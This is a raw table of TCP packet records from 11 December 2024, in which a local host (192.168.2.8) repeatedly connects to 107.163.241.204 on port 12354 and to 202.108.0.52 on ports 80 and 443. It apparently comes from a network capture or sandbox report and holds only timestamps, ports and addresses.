Dec 11, 2024 16:28:55.596581936 CET	443	53605	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:56.441548109 CET	12354	52442	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:56.441611052 CET	52442	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:56.441991091 CET	52442	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:56.442325115 CET	54446	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:56.568130970 CET	12354	52442	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:56.568882942 CET	12354	54446	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:56.568965912 CET	54446	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:56.579251051 CET	54446	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:56.582294941 CET	12354	52555	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:56.582441092 CET	52555	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:56.583570957 CET	52555	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:56.584253073 CET	54530	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:56.691495895 CET	12354	54446	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:56.691574097 CET	54446	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:56.692195892 CET	54446	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:56.700457096 CET	12354	54446	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:56.703366995 CET	54587	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:56.704514980 CET	12354	52555	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:56.705295086 CET	12354	54530	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:56.705427885 CET	54530	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:56.711173058 CET	54530	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:57.016716003 CET	54446	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:57.071368933 CET	12354	54446	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:57.071381092 CET	12354	54446	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:57.071464062 CET	12354	54587	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:57.071506023 CET	12354	54530	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:57.071526051 CET	12354	54530	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:57.071609020 CET	54587	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:57.071719885 CET	54530	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:57.072280884 CET	54587	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:57.072700977 CET	54904	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:57.072705030 CET	54530	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:57.138343096 CET	12354	54446	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:57.193490028 CET	12354	54530	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:57.193528891 CET	12354	54587	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:57.193599939 CET	12354	54904	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:57.193610907 CET	12354	54530	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:57.193727016 CET	54904	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:57.194267988 CET	54904	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:57.314304113 CET	12354	54904	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:57.314318895 CET	12354	54904	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:57.318687916 CET	54904	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:57.318687916 CET	54904	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:57.319292068 CET	55225	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:57.437994003 CET	12354	54904	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:57.438225985 CET	12354	54904	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:57.438957930 CET	12354	55225	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:57.439069986 CET	55225	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:57.439935923 CET	55225	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:57.485599995 CET	53605	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:57.485652924 CET	54587	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:57.485658884 CET	55225	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:57.486588001 CET	55426	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:57.558793068 CET	12354	55225	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:57.559134960 CET	55225	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:57.559361935 CET	12354	55225	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:57.604585886 CET	55516	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:57.605935097 CET	12354	55426	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:57.606194019 CET	55426	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:57.606261969 CET	55426	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:57.609038115 CET	52165	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:57.609530926 CET	55518	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:57.725640059 CET	12354	55516	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:57.725677967 CET	12354	55426	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:57.725748062 CET	55516	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:57.726248026 CET	55516	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:57.726411104 CET	12354	55426	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:57.727680922 CET	55674	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:57.729048014 CET	80	55518	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:57.730032921 CET	55518	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:57.730032921 CET	55518	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:57.730216980 CET	80	52165	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:57.730278015 CET	52165	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:57.845609903 CET	12354	55516	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:57.845668077 CET	55516	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:57.845910072 CET	12354	55516	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:57.846245050 CET	55516	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:57.847378969 CET	12354	55674	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:57.847455978 CET	55674	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:57.848376989 CET	55674	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:57.849421978 CET	55804	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:57.850413084 CET	80	55518	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:57.851043940 CET	80	55518	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:57.959849119 CET	55806	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:57.967276096 CET	12354	55516	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:57.967783928 CET	12354	55516	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:57.969521999 CET	12354	55674	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:57.970463037 CET	12354	55804	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:57.970539093 CET	55804	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:57.971353054 CET	55804	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:58.079631090 CET	80	55806	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:58.079699993 CET	55806	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:58.080545902 CET	55806	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:58.090128899 CET	12354	55804	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:58.090181112 CET	55804	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:58.090354919 CET	55804	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:58.091001034 CET	12354	55804	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:58.091392994 CET	55946	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:58.199836016 CET	80	55806	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:58.210488081 CET	12354	55804	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:58.210630894 CET	12354	55804	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:58.211247921 CET	12354	55946	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:58.211301088 CET	55946	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:58.212117910 CET	55946	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:58.331372023 CET	12354	55946	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:58.331427097 CET	55946	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:58.331707954 CET	12354	55946	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:58.334482908 CET	55946	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:58.335180998 CET	56115	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:58.450952053 CET	12354	55946	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:58.453846931 CET	12354	55946	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:58.454607964 CET	12354	56115	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:58.454673052 CET	56115	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:58.455307961 CET	56115	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:58.574654102 CET	12354	56115	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:59.665797949 CET	80	55806	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:59.665900946 CET	55806	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:59.678544998 CET	57388	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:59.678586006 CET	443	57388	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:59.678659916 CET	57388	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:59.679200888 CET	57388	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:59.679219961 CET	443	57388	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:59.919730902 CET	443	57388	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:59.920598984 CET	57701	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:59.920624018 CET	443	57701	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:59.920753956 CET	57701	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:59.921051979 CET	57701	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:59.921066999 CET	443	57701	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:59.955883026 CET	12354	55674	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:59.955938101 CET	55674	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:59.966278076 CET	55674	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:59.966672897 CET	57740	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:00.088521004 CET	12354	55674	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:00.088921070 CET	12354	57740	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:00.088989019 CET	57740	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:00.089240074 CET	57740	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:00.208894968 CET	12354	57740	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:00.566248894 CET	12354	56115	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:00.566294909 CET	56115	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:00.567049980 CET	56115	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:00.567869902 CET	58233	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:00.689600945 CET	12354	56115	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:00.690165043 CET	12354	58233	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:00.690237999 CET	58233	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:00.726824045 CET	58233	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:00.812187910 CET	12354	58233	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:00.812259912 CET	58233	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:00.812758923 CET	58233	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:00.813131094 CET	58350	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:00.846155882 CET	12354	58233	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:00.932013035 CET	12354	58233	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:00.932140112 CET	12354	58233	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:00.933011055 CET	12354	58350	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:00.933085918 CET	58350	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:00.933463097 CET	58350	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:01.052886963 CET	12354	58350	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:01.501668930 CET	58350	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:01.501693010 CET	57701	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:01.501815081 CET	57740	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:01.502504110 CET	58976	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:01.621042967 CET	59096	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:01.622107983 CET	55806	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:01.622196913 CET	12354	58976	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:01.622272968 CET	58976	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:01.622503042 CET	58976	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:01.622628927 CET	59098	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:01.740575075 CET	12354	59096	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:01.740695953 CET	59096	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:01.741600037 CET	59096	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:01.742156029 CET	80	55806	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:01.742227077 CET	55806	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:01.745177984 CET	12354	58976	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:01.745189905 CET	80	59098	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:01.745199919 CET	12354	58976	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:01.745268106 CET	59098	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:01.746144056 CET	59098	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:01.746581078 CET	59151	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:01.860363007 CET	12354	59096	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:01.860440969 CET	59096	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:01.860846996 CET	12354	59096	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:01.862179995 CET	59096	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:01.864942074 CET	80	59098	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:01.865277052 CET	59321	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:01.865322113 CET	59098	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:01.865322113 CET	59098	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:01.865406990 CET	80	59098	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:01.865937948 CET	12354	59151	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:01.866023064 CET	59151	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:01.866169930 CET	59151	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:01.976475000 CET	59473	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:01.981195927 CET	12354	59096	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:01.983680010 CET	12354	59096	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:01.984934092 CET	12354	59321	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:01.984993935 CET	80	59098	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:01.984997034 CET	59321	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:01.985002995 CET	80	59098	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:01.985491991 CET	12354	59151	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:01.985621929 CET	59321	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:01.986079931 CET	12354	59151	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:01.986944914 CET	59487	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:02.096158981 CET	80	59473	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:02.096229076 CET	59473	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:02.096959114 CET	59473	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:02.105253935 CET	12354	59321	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:02.105395079 CET	59321	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:02.105778933 CET	59321	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:02.106028080 CET	12354	59321	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:02.106235027 CET	59607	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:02.107851028 CET	12354	59487	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:02.107976913 CET	59487	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:02.108361006 CET	59487	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:02.216269970 CET	80	59473	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:02.224687099 CET	12354	59321	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:02.224997044 CET	12354	59321	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:02.225464106 CET	12354	59607	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:02.225552082 CET	59607	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:02.227395058 CET	12354	59487	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:02.227443933 CET	59487	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:02.227628946 CET	12354	59487	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:02.229548931 CET	59607	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:02.230087996 CET	59487	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:02.230844975 CET	59753	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:02.346666098 CET	12354	59487	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:02.348867893 CET	12354	59607	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:02.349255085 CET	12354	59487	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:02.350143909 CET	12354	59753	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:02.350223064 CET	59753	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:02.351042986 CET	59753	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:02.469772100 CET	12354	59753	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:02.469875097 CET	59753	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:02.470335960 CET	12354	59753	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:02.482845068 CET	59753	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:02.483228922 CET	59911	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:02.589256048 CET	12354	59753	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:02.602161884 CET	12354	59753	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:02.602710962 CET	12354	59911	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:02.602787018 CET	59911	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:02.619066000 CET	59911	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:02.739855051 CET	12354	59911	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:03.687299013 CET	80	59473	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:03.687350035 CET	59473	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:03.760941982 CET	60024	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:03.760972977 CET	443	60024	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:03.761059999 CET	60024	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:03.762064934 CET	60024	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:03.762095928 CET	443	60024	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:04.002931118 CET	443	60024	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:04.004143000 CET	60096	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:04.004187107 CET	443	60096	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:04.004261017 CET	60096	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:04.004502058 CET	60096	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:04.004518032 CET	443	60096	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:04.407762051 CET	12354	59607	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:04.407824993 CET	59607	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:04.411643028 CET	59607	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:04.412043095 CET	60490	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:04.486079931 CET	443	60096	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:04.486253023 CET	60096	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:04.487063885 CET	60096	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:04.487092018 CET	443	60096	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:04.487468958 CET	60534	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:04.487509966 CET	443	60534	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:04.487757921 CET	60534	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:04.487757921 CET	60534	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:04.487862110 CET	443	60534	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:04.488326073 CET	60534	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:04.531352043 CET	12354	59607	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:04.531641960 CET	12354	60490	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:04.531727076 CET	60490	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:04.532725096 CET	60490	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:04.599437952 CET	59473	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:04.599729061 CET	60631	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:04.652057886 CET	12354	60490	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:04.719681978 CET	80	60631	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:04.719777107 CET	60631	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:04.720304012 CET	60631	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:04.720362902 CET	80	59473	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:04.720416069 CET	59473	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:04.723841906 CET	12354	59911	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:04.723896027 CET	59911	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:04.723995924 CET	59911	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:04.724467039 CET	60806	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:04.839677095 CET	80	60631	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:04.839739084 CET	60631	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:04.839884043 CET	80	60631	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:04.840507030 CET	60631	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:04.843688965 CET	12354	59911	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:04.844145060 CET	12354	60806	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:04.844260931 CET	60806	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:04.844811916 CET	60806	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:04.959419012 CET	80	60631	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:04.960155964 CET	80	60631	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:04.964289904 CET	12354	60806	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:04.964361906 CET	60806	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:04.964406013 CET	12354	60806	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:04.967504978 CET	61025	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:04.967749119 CET	60806	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:04.968003988 CET	61026	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:05.084974051 CET	12354	60806	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:05.088417053 CET	80	61025	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:05.088428020 CET	12354	60806	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:05.088499069 CET	61025	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:05.089039087 CET	12354	61026	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:05.089057922 CET	61025	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:05.089176893 CET	61026	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:05.089435101 CET	61026	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:05.210190058 CET	80	61025	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:05.210201025 CET	80	61025	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:05.210211039 CET	12354	61026	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:05.210222960 CET	12354	61026	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:05.210258961 CET	61025	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:05.210306883 CET	61026	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:05.210935116 CET	61025	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:05.211123943 CET	61026	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:05.211399078 CET	61161	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:05.318192005 CET	61280	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:05.329638004 CET	80	61025	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:05.329704046 CET	12354	61026	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:05.330144882 CET	80	61025	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:05.330311060 CET	12354	61026	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:05.330715895 CET	12354	61161	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:05.330825090 CET	61161	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:05.332289934 CET	61161	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:05.437746048 CET	80	61280	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:05.437848091 CET	61280	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:05.442806005 CET	61280	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:05.451781988 CET	12354	61161	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:05.501420021 CET	61280	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:05.501482964 CET	60490	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:05.501498938 CET	61161	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:05.502379894 CET	61428	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:05.562612057 CET	80	61280	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:05.562704086 CET	61280	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:05.622946024 CET	61507	12354	192.168.2.8	107.163.241.204
